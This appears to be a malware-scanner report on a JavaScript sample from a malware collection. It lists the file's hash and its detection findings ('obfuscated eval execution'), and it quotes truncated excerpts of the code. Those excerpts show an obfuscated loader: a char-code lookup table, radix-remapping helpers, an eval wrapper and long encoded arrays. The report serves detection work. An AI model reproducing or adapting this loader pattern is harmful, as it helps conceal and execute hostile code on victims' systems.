Suspicious ^80% javascript-malware-collection Download

854977240cefac1da2d28687c05a0e7b6f6ecebd78282240c49eae064694c5b3.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-256854977240cefac1da2d28687c05a0e7b6f6ecebd78282240c49eae064694c5b3

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var HYzLGCiufeTgk=[];
2pDjeTxK=(-137+137)/844;while(true){if(pDjeTxK>=(23353+839)/189){break;}HYzLGCiufeTgk[pDjeTxK]=String.fromCharCode(pDjeTxK);pDjeTxK++;}
3function yhmNY(XYUJtPwhMbC,WoxrSjelZNoFo,qPkaGmZh){wLal=parseInt(XYUJtPwhMbC,WoxrSjelZNoFo);jZszT=wLal.toString(qPkaGmZh);return jZszT;}function IZifOWEbfobIchq(dUDmPigtMXzunqMbk){eval(dUDmPigtMXzunqMbk)}
4function GZFwBbVModyiyENBUzOgCXcjRdthFJjzRvihtRszmFjfHhrVPLAQTb(ytxThBGidimxo,LivGpWxzATpQfr){ return HYzLGCiufeTgk[yhmNY(ytxThBGidimxo[LivGpWxzATpQfr],(22426+174)/904,(4041+519)/456)];}
5function AOOhQIf(SgdbtQHDoxireBhBiBazRQITWgNPzigVspNK) {return !isNaN(parseFloat(SgdbtQHDoxireBhBiBazRQITWgNPzigVspNK)) && isFinite(SgdbtQHDoxireBhBiBazRQITWgNPzigVspNK);}
6function hRFDlXScIWJ(JfzUtgwE,dsXuyo){return JfzUtgwE.split(dsXuyo)}
7var m=[];m[0]="d";m[1]="a";m[2]="d";m[3]="a";m[4]="4i";m[5]="3m";m[6]="4e";m[7]="17";m[8]="2j";m[9]="17";m[10]="2b";m …

Massive array index assignment line 8

8:4348… ";a[863]="4g";a[864]="4e";a[865]="4l";a[866]="17";a[867]="17";a[868]="4n";a[869]="d";a[870]="a";a[871]="17";a[872]="17";a[873]="17";a[874]="17";a[875]="17";a[876]="17";a[877]="17";a[878]="17";a[879]="17";a[880]="17";a[881]="45";a[882]="42";a[883]="17";a[884]="1f";a[885]="1f";a[886]="1f";a[887]="4a";a[888]="41";a[889]="4j";a[890]="17";a[891]="2i";a[892]="3m";a[893]="4g";a[894]="41";a[895]="1f";a[896]="1g";a …